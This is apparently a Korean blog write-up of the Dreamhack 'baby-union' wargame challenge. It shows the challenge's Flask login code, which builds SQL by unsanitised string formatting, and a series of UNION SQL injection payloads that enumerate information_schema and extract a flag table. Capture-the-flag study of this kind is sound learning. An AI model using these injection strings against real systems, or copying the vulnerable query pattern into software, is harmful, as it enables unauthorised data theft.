CTF, War game

[Dreamhack] Level 1: baby-union

mnzy๐ŸŒฑ 2024. 6. 20. 07:02

1. ๋ฌธ์ œ 

https://dreamhack.io/wargame/challenges/984

 

baby-union

Description ๋กœ๊ทธ์ธ ์‹œ ๊ณ„์ •์˜ ์ •๋ณด๊ฐ€ ์ถœ๋ ฅ๋˜๋Š” ์›น ์„œ๋น„์Šค์ž…๋‹ˆ๋‹ค. SQL INJECTION ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”. ๋ฌธ์ œ์—์„œ ์ฃผ์–ด์ง„ init.sql ํŒŒ์ผ์˜ ํ…Œ์ด๋ธ”๋ช…๊ณผ ์ปฌ๋Ÿผ๋ช…์€ ์‹ค์ œ ์ด๋ฆ„๊ณผ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ํ”Œ๋ž˜

dreamhack.io

 

2. ํ•ด๊ฒฐ ๊ณผ์ •

(1) ๋ฌธ์ œ ํŽ˜์ด์ง€ ํ™•์ธ 

 

(2) ์ฝ”๋“œ ํ™•์ธ 

- app.py 

์ž…๋ ฅ๊ฐ’์— ๋Œ€ํ•œ ํ•„ํ„ฐ๋ง์ด ์—†๋‹ค. 

import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)

@app.route("/", methods = ["GET", "POST"])
def index():

    if request.method == "POST":
        uid = request.form.get('uid', '')
        upw = request.form.get('upw', '')
        if uid and upw:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
            data = cur.fetchall()
            if data:
                return render_template("user.html", data=data)

            else: return render_template("index.html", data="Wrong!")

        return render_template("index.html", data="Fill the input box", pre=1)
    return render_template("index.html")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

- init.sql

์‚ฌ์‹ค ๋ฌธ์ œ ํŽ˜์ด์ง€์—์„œ admin์œผ๋กœ ๋กœ๊ทธ์ธํ•˜๋ฉด ๋˜๋Š” ์ค„ ์•Œ๊ณ  ์ฝ”๋“œ๋ฅผ ์•ˆ๋ณด๊ณ  ๋ฌธ์ œ ํ’€์—ˆ๋‹ค. 

๊ทธ๋Ÿฐ๋ฐ ๋ญ”๊ฐ€ ์ด์ƒํ•ด์„œ ํ™•์ธํ•ด๋ณด๋‹ˆ๊นŒ ์ ‘๊ทผํ•ด์•ผ ํ•˜๋Š” ํ…Œ์ด๋ธ”์€ users๊ฐ€ ์•„๋‹Œ fake_table_name(๊ฐ€์งœ ์ด๋ฆ„) ์ด์—ˆ๋‹ค. 

ํ•ด๋‹น ํ…Œ์ด๋ธ”์—๋Š” ์ด๋ฆ„ ๋ชจ๋ฅด๋Š” ์นผ๋Ÿผ๋“ค์ด 4๊ฐœ๊ฐ€ ๋“ค์–ด์žˆ๊ณ , ์นผ๋Ÿผ์— ๋‚˜๋ˆ ์ ธ์„œ ํ”Œ๋ž˜๊ทธ๊ฐ’์ด ๋“ค์–ด๊ฐ€ ์žˆ๋‹ค.  

๋”ฐ๋ผ์„œ, ์šฐ๋ฆฌ๋Š” ํ…Œ์ด๋ธ”์ด๋ฆ„๊ณผ ์นผ๋Ÿผ๊ฐ’์„ ์•Œ์•„๋‚ด์•ผ ํ•œ๋‹ค. 

CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `secret_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null,
  descr varchar(128) not null
);

INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;

CREATE TABLE fake_table_name (
  idx int auto_increment primary key,
  fake_col1 varchar(128) not null,
  fake_col2 varchar(128) not null,
  fake_col3 varchar(128) not null,
  fake_col4 varchar(128) not null
);

INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');

 

UNION sql injection์ด ๊ฐ€๋Šฅํ•œ์ง€ ๋จผ์ € ํ™•์ธํ•ด๋ณธ ๋’ค ์ง„ํ–‰ํ•  ๊ฒƒ์ด๋‹ค. ํ•„ํ„ฐ๋ง์ด ์—†์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ€๋Šฅํ•  ๊ฒƒ์ด๋‹ค. 

admin' UNION SELECT * FROM users # ์„ ์ž…๋ ฅํ•ด์„œ ํ™•์ธํ•ด๋ณด๋ฉด, UNION์— ๋Œ€ํ•ด์„œ๋Š” ์ž์œ ๋กญ๊ฒŒ ์ž…๋ ฅ ๊ฐ€๋Šฅํ•œ ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

+) ๊นŒ๋จน์—ˆ๋Š”๋ฐ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋ฒ„์ „ ํ™•์ธ๋„ ํ•ด์•ผํ•œ๋‹ค. ๋ฌธ์ œ ๋‹ค ํ’€๊ณ  ์ƒ๊ฐ๋‚˜์„œ ์ถ”๊ฐ€ํ•จ

admin' union select version(),null,null,null # 

-> mariaDB์ด๋‹ค. 

 

information_schema์—์„œ ํ…Œ์ด๋ธ”๋ช…์„ ์กฐํšŒํ•ด์„œ ํ…Œ์ด๋ธ”์˜ ์ •๋ณด๋ฅผ ์•Œ์•„๋‚ผ ๊ฒƒ์ด๋‹ค. 

null๊ฐ’์„ ์ฃผ๋Š” ์ด์œ ๋Š” ์นผ๋Ÿผ์˜ ๊ฐœ์ˆ˜๋ฅผ ๋งž์ถฐ์„œ ์ฟผ๋ฆฌ๋ฌธ์„ ๋ณด๋‚ด์ค˜์•ผ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๋Š”๋‹ค. 

admin' UNION SELECT TABLE_NAME, null, null, null FROM information_schema.TABLES;#

 

๋”ฑ๋ด๋„ onlyflag๋ผ๋Š” ์ด๋ฆ„์˜ ํ…Œ์ด๋ธ”์ด ์˜์‹ฌ์Šค๋Ÿฌ์›Œ๋ณด์ธ๋‹ค. 

 

์•Œ์•„๋‚ธ ํ…Œ์ด๋ธ”๋ช…์„ ์ด์šฉํ•ด์„œ  ์นผ๋Ÿผ๋ช…์„ ์•Œ์•„๋‚ผ ๊ฒƒ์ด๋‹ค. 

admin' UNION SELECT COLUMN_NAME, null, null, null FROM information_schema.columns WHERE table_name='onlyflag'#

 

sname, svalue, sflag, sclose ๊ฐ€ onlyfalg์˜ ์นผ๋Ÿผ๋ช…์ด๋‹ค. 

(๋‚˜๋จธ์ง€๋Š” users)

 

์นผ๋Ÿผ์˜ ๊ฐ’ ์กฐํšŒํ•˜๋Š” ์ฟผ๋ฆฌ๋ฌธ ์ž‘์„ฑํ•˜๋ฉด flag๊ฐ€ ์„ฑ๊ณต์ ์œผ๋กœ ์ถœ๋ ฅ๋œ๋‹ค. 

admin' UNION SELECT sname, svalue, sflag, sclose FROM onlyflag;#

 

 

์ค„ ์•Œ์•˜๋Š”๋ฐ ์•„๋‹ˆ์—ˆ๋‹ค. 

๋‹ค์‹œ ํ™•์ธํ•ด๋ณด๋ฉด ์นผ๋Ÿผ 4๊ฐœ๋ฅผ ์กฐํšŒํ•˜๋„๋ก ์ฟผ๋ฆฌ๋ฌธ์„ ์ž‘์„ฑํ•˜์˜€๋Š”๋ฐ 3๊ฐœ๋งŒ ์กฐํšŒ๋˜์—ˆ๋‹ค. ์ฆ‰ ํ•˜๋‚˜๊ฐ€ ๋ˆ„๋ฝ๋˜์—ˆ๋‹ค. 

๋ญ๊ฐ€ ๋ˆ„๋ฝ๋˜์—ˆ๋Š”์ง€ ๋ชจ๋ฅด๊ฒ ์–ด์„œ ๊ทธ๋ƒฅ ํ•˜๋‚˜์”ฉ ํ•ด๋ณด์•˜๋‹ค. 

admin' UNION SELECT svalue, sflag, sclose, NULL FROM onlyflag;#

 

์œ„ ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ ์ƒˆ๋กœ์šด ํ”Œ๋ž˜๊ทธ ๊ฐ’์ด ๋‚˜์™€ ์ค‘๊ฐ„์— ๊ปด์ฃผ์—ˆ๋‹ค. ( ์‹œ์ž‘์€ DH{ , ๋งˆ์ง€๋ง‰์€ }๋กœ ๋๋‚˜๋ผ ๋•Œ๋ฌธ์— ์ค‘๊ฐ„๊ฐ’์ด๋ผ๋Š” ๊ฒƒ์„ ์•Œ์ˆ˜ ์žˆ์—ˆ๋‹ค.)